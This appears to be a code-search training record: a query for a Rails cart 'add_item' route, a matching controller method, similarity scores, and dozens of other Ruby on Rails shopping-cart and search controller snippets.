"def index\n\n # Grab user's diets as saved in profile and pass it into the search\n user_diets = current_user.compile_diets\n\n if params[:search_by_diet].present?\n allowed_diets_in_search = (user_diets << params[:search_by_diet]).flatten!\n else\n allowed_diets_in_search = user_diets\n end\n\n # Grab user's allergies as saved in profile and pass it into the search\n user_allergies = current_user.compile_allergies\n\n if params[:search_by_allergy].present?\n allowed_allergies_in_search = (user_allergies << params[:search_by_allergy]).flatten!\n else\n allowed_allergies_in_search = user_allergies\n end\n\n user_excluded_ingredients = current_user.compile_excluded_ingredients\n\n @results = Yummly.search(\n params[:search_by_all],\n \"maxTotalTimeInSeconds\" => params[:search_by_time],\n \"allowedCourse[]\" => params[:search_by_course],\n \"allowedAllergy[]\" => allowed_allergies_in_search,\n \"allowedDiet[]\" => allowed_diets_in_search,\n \"excludedIngredient[]\" => user_excluded_ingredients,\n maxResult: 50);\n \n\n end",
"def company_search(*keywords, filter: nil, **opts)\n\n opts[:params] = {} if opts[:params].blank?\n opts[:params].merge! keywords: keywords.compact.join(' ')\n\n unless filter.blank?\n filter.each do |filt|\n new_filt = Hash[*filt.to_s.split('=')] unless filter.respond_to? :keys\n opts[:params].merge! new_filt\n end\n end\n\n unless opts[:facets].blank?\n facets = Hash['facets', opts[:facets]]\n opts[:params].merge! facets\n end\n\n execute 'company-search', opts\n end",
"def index\n if params[:keywords].present?\n search = Address.search do\n fulltext params[:keywords]\n\n if params[:option] == \"Assigned\"\n without(:user_id, AddressesHelper.find_nobody_id)\n elsif params[:option] == \"Free\"\n with(:user_id, AddressesHelper.find_nobody_id)\n end\n\n paginate page: params[:page] || 1,\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE\n end \n # Type Sunspot::Search::PaginatedCollection < Array\n @addresses = search.results\n elsif params[:option].present? && (params[:option] != \"All\")\n nobody_id = AddressesHelper.find_nobody_id\n if params[:option] == \"Assigned\"\n @addresses = Address.where.not(user_id: AddressesHelper.find_nobody_id)\n .paginate(page: params[:page],\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE)\n elsif params[:option] == \"Free\"\n @addresses = Address.where(user_id: AddressesHelper.find_nobody_id)\n .paginate(page: params[:page],\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE)\n end\n else\n # paginate returns object of \n # type User::ActiveRecord_Relation < ActiveRecord::Relation\n @addresses = Address.paginate(page: params[:page],\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE)\n end\n\n authorize @addresses\n #policy_scope(@addresses)\n end"
] |
[
"0.68223643",
"0.5943017",
"0.5818383",
"0.5763571",
"0.55510765",
"0.5463672",
"0.5458465",
"0.54349744",
"0.54203886",
"0.53927994",
"0.5341064",
"0.53291506",
"0.53019464",
"0.5286",
"0.52757335",
"0.5264768",
"0.5256553",
"0.5240246",
"0.5238153",
"0.5225142",
"0.51921916",
"0.5190636",
"0.51855797",
"0.5181123",
"0.5178314",
"0.5172085",
"0.51653093",
"0.51293826",
"0.5109379",
"0.51092166",
"0.5093563",
"0.5093563",
"0.5082015",
"0.5077746",
"0.5076415",
"0.5061866",
"0.5060956",
"0.50352436",
"0.50259006",
"0.50209427",
"0.5013611",
"0.5008501",
"0.49931547",
"0.49865484",
"0.49831885",
"0.4982313",
"0.4982297",
"0.49781325",
"0.4976427",
"0.49727347",
"0.4970784",
"0.4968076",
"0.49625245",
"0.49613813",
"0.49608648",
"0.49567437",
"0.49493474",
"0.49445337",
"0.49418852",
"0.49386206",
"0.49322075",
"0.492886",
"0.492729",
"0.49272588",
"0.4925988",
"0.49203944",
"0.49200347",
"0.49136695",
"0.49123487",
"0.4911523",
"0.49037597",
"0.49026278",
"0.49007928",
"0.48948544",
"0.48911446",
"0.4887314",
"0.48810908",
"0.4871657",
"0.4868502",
"0.48668963",
"0.48659045",
"0.48636004",
"0.4862908",
"0.486226",
"0.48622432",
"0.48609117",
"0.48554778",
"0.4847423",
"0.4845766",
"0.484509",
"0.4844725",
"0.48444644",
"0.48396176",
"0.4838645",
"0.48363912",
"0.4829312",
"0.48293048",
"0.4829148",
"0.4827648",
"0.48207003"
] |
0.62912035
|
1
|
route: add_item_cart POST /cart/add_item(.:format) cartsadd_item
|
def add_item
product_id = params[:product_id].to_s
modify_cart_delta(product_id, +1)
redirect_to :back
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add\n\t\tadd_to_cart(params[:item_obj], params[:qty])\n flash[:notice] = \"Succesfully added to your cart!\"\n\t\tredirect_to :controller => \"items\", :action => \"show\"\n\tend",
"def add_item_to_cart\n product_id = params[:product_id]\n @item = LineItem.create!(product_id: product_id, cart_id: @current_cart.id)\n redirect_to checkout_carts_path, notice: 'The Item was added to your cart'\n end",
"def add_cart_item\n current_cart.cart_items.new\n end",
"def add_item_to_cart(item_id)\n cart << item_id\n end",
"def add\n quantity = params[:quantity].try(:to_i) || 1\n if !add_item?(params[:id], quantity)\n flash[:warning] = 'Invalid input'\n end\n redirect_to cart_index_path\n end",
"def create\n if @cart_item = CartItem.find_by(cart_id: cart_item_params[:cart_id], product_id: cart_item_params[:product_id])\n @cart_item.quantity += cart_item_params[:quantity] || 1\n else\n @cart_item = CartItem.new(cart_item_params)\n end\n\n if @cart_item.save\n form = nil\n view_context.form_for(@cart_item.cart) { |f| form = f }\n\n render json: {\n html: render_to_string(\n \"_cart_items\",\n layout: false,\n locals: {\n cart_items: @cart_item.cart.cart_items,\n f: form\n }\n )\n }\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def add_item\n prod_id = params[:product_id].to_s\n unless Product.find(prod_id).nil?\n item = cart[prod_id] || {\"Num\" => 0}\n item[\"Num\"] += 1\n cart[prod_id] = item\n update_cart cart\n flash[:success] = t('itm_added')\n redirect_back fallback_location: :root\n end\n end",
"def add_to_cart\n order = Cart.create(customer_id: @customer.id, hotel_id: params[:cart][:hotel_id], item_id: params[:cart][:item_id],\n item_quantity: params[:cart][:item_quantity], item_name: params[:cart][:item_name], item_price: params[:cart][:item_price], total_price: params[:cart][:total_price] )\n if order\n render json: {\n messages: \"Successfully added to cart!\",\n is_success: true,\n orders: order\n }, status: :created\n else\n render json: {\n messages: \"Unable to add\",\n is_success: false,\n orders: {}\n }, status: :internal_server_error\n end\n end",
"def add\n add_to_cart_common(:add_product, params[:id])\n end",
"def add_to_cart\n \tline_item = LineItem.create(product_id: params[:product_id], quantity: params[:quantity])\n \tline_item.update(line_item_total: (line_item.quantity * line_item.product.price))\n \tredirect_back(fallback_location: root_path)\n end",
"def add_to_cart\n \tif session[\"cart\"].nil?\n \t\tsession[\"cart\"] = []\n \tend\n \t#So luong cua san pham add vao gio hang\n \tquantity_ = 1\n \tsession[\"item\"] = {:id => params[:id].to_i, :name => params[:name], :quantity => quantity_.to_i, :price => params[:price].to_i, :total => quantity_.to_i * params[:price].to_i}\n \tcheck_cart session[\"item\"]\n \tredirect_to :back\n end",
"def add_item\n item = params[:item]\n image = Image.find(item[:image_id])\n\n order = current_user.init_cart.order\n line_item = order.line_items.where(\n image_id: image.id,\n product_id: item[:product_id],\n product_option_id: item[:product_option_id]\n ).first\n\n if line_item.present?\n line_item.quantity += item[:quantity].to_i\n else\n line_item = order.line_items.build(item)\n end\n\n line_item.price = Product.find(line_item.product_id).price_for_tier(image.tier_id, image.owner?(current_user))\n line_item.tax = line_item.price * PER_TAX\n\n if line_item.save\n render json: line_item, status: :created\n else\n render json: { msg: line_item.errors.full_messages.to_sentence }, status: :bad_request\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to items_path, notice: 'Successfully added to cart' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_cart\n\t\tcart = Cart.create()\n\t\tCart.find(params[:cart]).items.each do |item|\n\t\t\tcart.items.push(item)\n\t\tend\n\t\tcurrent_user.saved.add_cart(cart)\n\t\tif current_user.saved.errors.empty?\n\t\t\tredirect_to saved_path, :notice => \"Cart saved\"\n\t\telse\n\t\t\tredirect_to :back, :notice => current_user.saved.errors.full_messages().last\n\t\tend\n\tend",
"def add_to_cart\n @shopping_cart = ShoppingCart.find_by_user_id(current_user.id)\n if @shopping_cart.nil?\n @shopping_cart = ShoppingCart.new({:user_id => current_user.id, :item_list => Hash.new.to_s})\n end\n if params[:item_id].nil?\n @item = Item.find(params[:item][:item_id])\n if current_user.id == @item.user_id\n redirect_to root_path\n else\n @shopping_cart.item_list = add_to_item_list(@shopping_cart.item_list, params[:item][:item_id], params[:item][:quantity], @item.quantity)\n @shopping_cart.save\n redirect_to @shopping_cart\n end\n else\n @item = Item.find(params[:item_id])\n if current_user.id == @item.user_id\n redirect_to root_path\n else\n @shopping_cart.item_list = add_to_item_list(@shopping_cart.item_list, params[:item_id], params[:quantity], @item.quantity)\n @shopping_cart.save\n redirect_to @shopping_cart\n end\n end\n end",
"def create\n @cart_item = CartItem.new(cart_item_params)\n\n respond_to do |format|\n if @cart_item.save\n format.html { redirect_to @cart_item, notice: 'Cart item was successfully created.' }\n format.json { render :show, status: :created, location: @cart_item }\n else\n format.html { render :new }\n format.json { render json: @cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart_item = CartItem.new(cart_item_params)\n\n respond_to do |format|\n if @cart_item.save\n format.html { redirect_to @cart_item, notice: 'Cart item was successfully created.' }\n format.json { render :show, status: :created, location: @cart_item }\n else\n format.html { render :new }\n format.json { render json: @cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart_item = CartItem.new(cart_item_params)\n\n respond_to do |format|\n if @cart_item.save\n format.html { redirect_to @cart_item, notice: 'Cart item was successfully created.' }\n format.json { render :show, status: :created, location: @cart_item }\n else\n format.html { render :new }\n format.json { render json: @cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart_item = CartItem.new(cart_item_params)\n\n if @cart_item.save\n render json: @cart_item, status: :created, location: @cart_item\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def add(items)\n\t\t\tcart = Cart.perform_request Cart.api_url(\"carts/#{self.id}\", {}), :patch,\n\t\t\t\t{ op: \"add\",\n\t\t\t\t\titems: items.map { |item| { product_id: item[:product_id], quantity: item[:quantity], variant_id: item[:variant_id] }\n\t\t\t\t}}, true\n\n\t\t\tif cart\n\t\t\t\tCart.new(cart[\"data\"])\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend",
"def add_item\n @item =\n if params[:cart_type].eql? 'product'\n Product.find_by(id: params[:product_id])\n elsif params[:cart_type].eql? 'junkyard'\n JunkyardProduct.find_by(id: params[:product_id])\n end\n\n if @item\n @user.carts.where(product_id: @item, aasm_state: params[:cart_type]).first_or_create\n else\n @object = 'Product or Junkyard'\n render \"api/v1/errors/404\", status: 401\n end\n end",
"def create\n @cart_item = CartItem.new(cart_item_params)\n\n respond_to do |format|\n if @cart_item.save\n format.html { redirect_to @cart_item, notice: 'Cart item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@cart_item = CartItem.new(cart_item_params)\n\n\t\tif @cart_item.save\n\t\t render json: @cart_item, status: :created, location: @cart_item\n\t\telse\n\t\t render json: @cart_item.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def create\n if cart_item_exist?\n @cart_item.quantity += params[:cart_item][:quantity]\n else\n params[:cart_item][:cart_id] = params[:cart_id]\n @cart_item = CartItem.new(cart_item_params)\n end\n\n if @cart_item.save\n @cart = @cart_item.cart\n\n build do\n message 'Новый товар в корзине'\n view 'carts/show'\n end\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def create\n cart_uuid = params[:cart_id]\n @item = Item.new(item_params.merge(cart_uuid: cart_uuid))\n if @item.save\n render json: @item, status: 201\n else\n render_errors 400, @item.errors.full_messages\n end\n end",
"def create\n @cart = current_cart\n item = Item.find(params[:item_id])\n quantity = params[:quantity] || 1\n @line_item = @cart.add_item(item.id,quantity.to_i)\n\n\n respond_to do |format|\n if @line_item.save\n # to come back not to the beginning of the page, but to the place where\n # the click was done\n env[\"HTTP_REFERER\"] += '#' + item.id.to_s\n format.html { redirect_to :back, notice: \"L'oggetto è stato aggiunto con successo\" }\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_items_to_cart(cart)\n cart.cart_items.each do |item|\n @command.shopping_cart.create_item do |i|\n i.name = item.name\n i.description = \"\"\n i.unit_price = Money.new(item.product_price * 100, \"USD\")\n i.quantity = item.quantity\n end\n end\n end",
"def add_item\n #params[item_id]\n end",
"def add_to_cart\n @item = Item.find(params[:id])\n if current_user\n current_user.cart.cart_items.create(item: @item)\n flash[:notice] = \"#{@item.name} was added to the cart\"\n else\n flash[:alert] = \"You have to be signed in to add items to your cart\"\n end\n redirect_to items_path\n end",
"def create\n @cart_item = CartItem.new(params[:cart])\n\n respond_to do |format|\n if @cart_item.save\n format.html { redirect_to(@cart_item, :notice => 'Cart was successfully created.') }\n format.xml { render :xml => @cart_item, :status => :created, :location => @cart_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cart_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_to_cart\n session[:item_list] ? session[:item_list] << @product.id : session[:item_list] = [@product.id]\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product added to cart!' }\n format.json { head :no_content }\n end\n end",
"def add_item_to_guest_cart(item)\n post_wrapper(\"/V1/guest-carts/#{guest_cart_key}/items\", item.to_json, default_headers)\n end",
"def add\n # we need the id of the product to be added\n # lets get it now\n \n id = params[:id]\n # if the cart exists already use it if not make a new one\n if session[:cart] then\n \n cart = session[:cart]\n else\n session[:cart] = {}\n cart = session[:cart]\n end\n \n # If the product is in the cart then increase the existing quantity by 1\n \n if cart[id] then\n \n cart[id] = cart[id] + 1 # this is the actual increase quantity part\n else\n \n cart[id] = 1\n \n end\n \n redirect_to :action => :index\n \n end",
"def create\n session[:cart_id] = @cart.id\n @cart.line_items.create(cart_params[:line_items_attributes])\n end",
"def add\n id = params[:id] \n cart[id] ? cart[id] = cart[id] + 1 : cart[id] = 1 \n flash[:notice] = \"Added to cart\"\n redirect_to :back\n end",
"def add_item_to_cart\n puts \"========= Adding to cart\"\n @b.link(id: \"j-add-cart-btn\").click\n @b.div(class: \"ui-add-shopcart-dialog\").wait_until_present(timeout: 30)\n unless @b.div(class: \"ui-add-shopcart-dialog\").exists?\n @error = \"Falha ao adicionar ao carrinho: #{@b.url}\"\n @log.add_message(@error)\n end\n end",
"def create\n # grabbing cart from application controller current_cart method\n @cart = current_cart\n # session[:cart_id] = @cart.id\n # individual product items get added to cart item and added to cart and saved\n @cart_item = @cart.cart_items.build(cart_item_params)\n @cart.save\n end",
"def add_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\tline_item = Item.where(sale_id: params[:sale_id], product_id: params[:product_id]).first\n\t\tline_item.quantity += 1\n\t\tline_item.save\n\n\t\t# Llama método que reduce cantidad de stock\n\t\tremove_item_from_stock(params[:product_id])\n\t\tupdate_line_item_totals(line_item)\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def add_item(item, price, quantity = 1)\n self.total += price * quantity\n self.last_item = price\n self.last_quantity = quantity\n\n counter = 0\n while counter < quantity\n self.cart << item\n counter += 1\n end\n self.cart\n end",
"def create\n #@selected_item = SelectedItem.new(selected_item_params)\n @cart = current_cart\n product=Product.find(params[:product_id])\n @selected_item = @cart.add_product(product.id)\n\n respond_to do |format|\n if @selected_item.save\n format.html { redirect_to @selected_item.cart} #notice: 'Selected item successfully added in your cart.' }\n format.json { render :show, status: :created, location: @selected_item }\n else\n format.html { render :new }\n format.json { render json: @selected_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product = Product.find(params[:product_id])\n @line_item = @cart.add_product(product)\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def create_cart\n\tend",
"def add_cart(cart)\n \tif cart.items.empty?\n\t\t\terrors.add(:cart, 'is empty. Cannot save.')\n \telse\n \t\tself.carts.push(cart)\n \tend\n end",
"def add_cart(cart)\n @cart = cart\n end",
"def add_item\r\n session[:items] << params[:id]\r\n redirect_to root_url\r\n end",
"def create\n # create or increment existing CartLineItem\n @line_item = add_line_item\n # save CartLineItem and create flash message indicating result\n if @line_item.save\n flash[:success] = \"#{params[:desc]} Successfully Added to Cart\"\n else\n flash[:error] = \"#{params[:desc]} not Added to Cart - Please contact Support\"\n end\n # redirect back to Products page to allow user to continue shopping\n if params[:current_page] == 1\n logger.debug \"*** Redirecting to First Products Page...\"\n redirect_to products_path\n else\n logger.debug \"Redirecting to Products Page #{params[:current_page]}\"\n redirect_to products_path(page: params[:current_page])\n end\n end",
"def create\n # clear_cart param can be added if restaurant or location changed for initial\n # this means that we need to clear the cart before add anything to it\n if params[:clear_cart] == '1'\n @current_cart.clear!\n @current_cart.force_location session[:current_location]\n end\n # add item to cart\n @current_cart.add_product line_item_params[:product_id], line_item_params[:count], line_item_params[:note], line_item_params[:product_option_ids]\n # add related products if exists\n for i in 0..2\n unless params[\"related_product_#{i}\"].nil?\n @current_cart.add_product params[\"related_product_#{i}\"], params[\"related_product_count_#{i}\"] || 1\n end\n end\n end",
"def add_to_cart\n @cart = current_user.carts.find_or_create_by(completed: false)\n @line_item = @cart.line_items.find_or_create_by(product_id: params[:product_id])\n @line_item.update quantity: @line_item.quantity + 1\n end",
"def create\n product = Product.find(params[:product_id])\n @line_item = @cart.add_product(product)\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addtocart\n\t\tinsidecart<< createproduct\n\t\taddtocart\n\tend",
"def add\n @cart = current_cart\n @line_item_product = @cart.add(params[:id])\n\n respond_to do |format|\n if @line_item_product.save\n format.html { redirect_to store_products_path, notice: 'Line item was successfully updated.' }\n format.js { @current_item = @line_item_product }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_cart\n @product = Product.find(params[:id])\n Cart.add_to_cart(session[:cart], params[:id], params[:cart][:quantity], params[:cart][:size], params[:cart][:size2])\n redirect_to product_path(@product)\n end",
"def add_cart_item_to_report(cart_item)\n add_item(cart_item) || add_file(cart_item) || add_box(cart_item) || add_series(cart_item) || add_resource(cart_item)\n end",
"def create\n # Add params[:id] to cart\n # logger.debug(\"Adding #{params[:id]} to the cart----------------------------------------\")\n id = params[:id].to_i\n\n existing_item = session[:shopping_cart].map { |item| item[\"id\"] }\n\n unless existing_item.include?(id)\n item = { id: id, quantity: 1 }\n session[:shopping_cart] << item\n\n end\n redirect_to root_path\n end",
"def add_to_cart\n if current_user.cart\n update\n else\n create\n end\n end",
"def create\n # pass two parameters shopping_cart and item_id to this action\n @item = Item.find(params[:shopping_cart][:item_id])\n # check if the quantity of the item and if this item is already in shopping cart\n if current_user.in_cart?(@item)\n current_user.add_quantity_to_existing_item(@item, params[:shopping_cart][:quantity])\n #@item.quantity -= Integer(params[:shopping_cart][:quantity])\n #@item.save\n else\n current_user.add_item_to_cart!(@item, params[:shopping_cart][:quantity])\n #@item.quantity -= Integer(params[:shopping_cart][:quantity])\n #@item.save\n end\n\n respond_to do |format|\n\n format.html { redirect_to :controller => 'items', :action => 'show', :id => @item.id}\n puts @item.quantity\n format.js\n end\n end",
"def add_to_cart\n product = Product.find(params[:id])\n @cart.add_product(product)\n redirect_to(:action => 'display_cart')\n rescue\n logger.error(\"Attempt to access invalid product #{params[:id]}\")\n redirect_to_index('Invalid product')\n end",
"def add_to_cart\n cart_op do |cart|\n if params[:id].class == Array\n params[:id].collect!(&:to_i)\n params[:id].delete_if {|id| cart.include?(id) }\n cart = cart + params[:id]\n else\n cart << params[:id].to_i if not params[:id].blank? and not get_cart.find {|i| i == params[:id].to_i }\n end\n cart\n end\n render_cart_size\n end",
"def create\n @cart = Cart.new(cart_params)\n\t\t@cart.user_id = current_user.id\n\t\t@cart.product_item_ids = param[:product_item_ids]\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_item_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ShoppingCartApi.add_item ...'\n end\n # resource path\n local_var_path = '/shopping_cart/add_item'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'add_cart_item_input'])\n\n # return_type\n return_type = opts[:return_type] || 'RemoteShopcartResponse'\n\n # auth_names\n auth_names = opts[:auth_names] || ['api_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ShoppingCartApi#add_item\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n logger.info 'line_items_controller.create'\n @cart = current_cart\n product = Product.find(params[:product_id]) #The params object is important inside Rails applications.\n #It holds all of the parameters passed in a browser request\n @line_item = @cart.add_product(product.id)\n\n session[:counter] = 0\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to(store_url) }\n format.js { @current_item = @line_item } #see view/line_items/create.js.rjs\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: I18n.t('carts.name') + I18n.t('messages.success') + I18n.t('messages.actions.create') }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_item\n\t\tcurrent_user.saved.items.push(Item.find(params[:item]))\n\t\tredirect_to :back\n\tend",
"def add_to_cart\n\t\tcart_hash = session[:cart]\n\t\tproduct = find_key(cart_hash, params[:id])\n\t\tproduct[:quantity] += 1\n\t\tcart_hash[params[:id]] = product\n\n\t\tredirect_to root_url\n\tend",
"def add_to_cart\n id = params[:id].to_i\n\n is_in_cart = false\n\n session[:cart].delete(1)\n session[:cart].each do |ct|\n if defined?(ct['id'])\n Product.find(ct['id'].to_i)\n if ct['id'].to_i == id\n\n is_in_cart = true\n ct['quantity'] = ct['quantity'].to_i + 1\n end\n end\n end\n\n if !is_in_cart\n cart_item = {\n id: id,\n quantity: 1\n }\n session[:cart] << cart_item\n end\n redirect_to request.referrer\n end",
"def create\n #This will find or create a cart based on applications controller method\n @cart = current_cart\n #We use params to get the product ID from the request\n #This is stored locally as no need to let view see it\n product = Product.find(params[:product_id])\n \n #Adds an item to the cart using the \"add_product\" \n #function in the \"cart.rb\" file.\n @line_item = @cart.add_product(product.id)\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to(store_url) }\n #.js is added to stop the create action from \n #redirecting to the index display if the request is \n #from javascript\n format.js { @current_item = @line_item }\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_item (title, price, quantity = 1)\n # adds purchase price to total\n @total += price * quantity\n # Adds proper quanity of item to cart\n count = 0\n while count < quantity\n @items << title\n count += 1\n end\n # keeps track of last_added item\n @last_transaction[:item] = title\n @last_transaction[:price] = price\n @last_transaction[:quantity] = quantity\n\n end",
"def create\n\t\tproduct = Product.friendly.find(params[:product_id])\n\t\t@line_item = @cart.add_product(product)\n\n\t\trespond_to do |format|\n\t\t\tif @line_item.save\n\t\t\t\tformat.html { redirect_to @line_item.cart,\n\t\t\t\t\tnotice: \"Product was successfully added to your cart.\"}\n\t\t\t\tformat.js\n\t\t\t\tformat.json { render :show, status: :created, location: @line_item}\n\t\t\tend\n\t\tend\n\tend",
"def create\n\n lineItem_details = line_item_params\n item = Item.find_by(:id => lineItem_details['item_id'])\n\n \n if ( !session[:shopping_cart_id] || !ShoppingCart.find(session[:shopping_cart_id]).active )\n @shopping_cart = ShoppingCart.new(:user_id => @current_user.id, :active => true)\n @shopping_cart.save\n session[:shopping_cart_id] = @shopping_cart.id\n end\n\n @shopping_cart = ShoppingCart.find(session[:shopping_cart_id])\n lineItem_details[\"shopping_cart_id\"] = @shopping_cart.id\n lineItem_details[\"quantity_purchased\"] = params[:quantity]\n\n @line_item = LineItem.new lineItem_details\n\n # Update cart\n @cart = ShoppingCart.find(session[:shopping_cart_id])\n\n\n # @li = LineItem.find_by(:shopping_cart_id => session[:shopping_cart_id])\n \n # gon.address = []\n # gon.address << @li.item.user.address\n\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to shopping_cart_path(session[:shopping_cart_id]), notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n item = Item.find(params[:item_id])\n @line_item = @cart.line_items.find_by(item: item)\n if @line_item\n @line_item.quantity += 1\n else\n @line_item = @cart.line_items.new(item: item)\n end\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def create\n # find the item with the id sent from params.\n added_item = Item.find(params[:item_id])\n # once the item is found we decrease its quantity\n # since it has been added to the cart\n new_item_quantity = added_item.quantity - 1\n # we then update its quantity\n added_item.update(quantity: new_item_quantity)\n # we merge the cart_joiner params with the logged in user cart id.\n # it enables to add the items to the logged in user cart and not ever user.\n create_cart_joiner = cart_joiner_params.merge({cart_id: logged_user.cart.id})\n # once params are merge we can create the cart joiner instance\n # which holds the item id and the cart id\n cart_joiner = CartJoiner.create(create_cart_joiner)\n # sent the cart_joiner instance back\n render json: cart_joiner\n end",
"def cart\n type = params[:type]\n\n if type == \"addcart\"\n #current_user.cart_additions << @item\n current_user.carts.create!(:item =>@item, :iscart? =>true)\n redirect_to cart_index_path, notice: \"#{@item.name} was added to your cart\"\n elsif type == \"removecart\"\n current_user.carts.update(:item =>@item, :iscart? =>false)\n #current_user.cart_additions.delete(@item)\n redirect_to root_path, notice: \"#{@item.name} was removed from your cart\"\n else\n redirect_to item_path(@item), notice: \"Looks like nothing happened. Try again!\"\n\n end\n end",
"def add_to_cart\n # Params to find product and how much to place in cart\n product_name = params['name']\n product_id = params['item_id']\n product_quantity = params['quantity'].to_s\n\n # Making sure necessary params are not empty\n if (product_name.empty? && product_id.empty?) || product_quantity.empty?\n @return = { 'Error': 'Quantity must be specified'} if product_quantity.empty?\n @return = { 'Error': 'One of name or item_id must be specified' } if product_id.empty? && product_name.empty?\n @return = { 'Error': 'Quantity and one of name or item_id must be specified' } if product_id.empty? && product_name.empty? && product_quantity.empty?\n else\n # Finding product\n if product_name.present?\n product_name.capitalize\n @return = Product.find_by(name: product_name)\n else\n @return = Product.find_by(item_id: product_id)\n end\n\n if @return.nil? # Making sure product was found\n @return = { 'Error': 'Product not found' }\n else\n stock = @return.quantity\n\n if stock == 0\n @return = { 'Error': 'Product is sold out' }\n elsif stock < product_quantity.to_i\n @return = { 'Error': 'Not enough stock left to meet quantity' }\n else\n if Cart.find_by(item_id: @return.item_id).present?\n @return = { 'Error': 'Product already exists in cart'}\n else\n Cart.create(name: @return.name, description: @return.description, item_id: @return.item_id, price: @return.price, quantity: product_quantity)\n @return = { 'Success': product_quantity + ' x ' + @return.name + ' added to cart!' }\n end\n end\n end\n end\n render json: @return\n end",
"def cart_item_params\n params.require(:cart_item).permit(:cart_id, :product_id, :quantity, :sum)\n end",
"def create\n @join_table_carts_item = JoinTableCartsItem.new(join_table_carts_item_params)\n\n respond_to do |format|\n if @join_table_carts_item.save\n format.html { redirect_to @join_table_carts_item, notice: \"Join table carts item was successfully created.\" }\n format.json { render :show, status: :created, location: @join_table_carts_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @join_table_carts_item.errors, status: :unprocessable_entity }\n end\n end\n end",
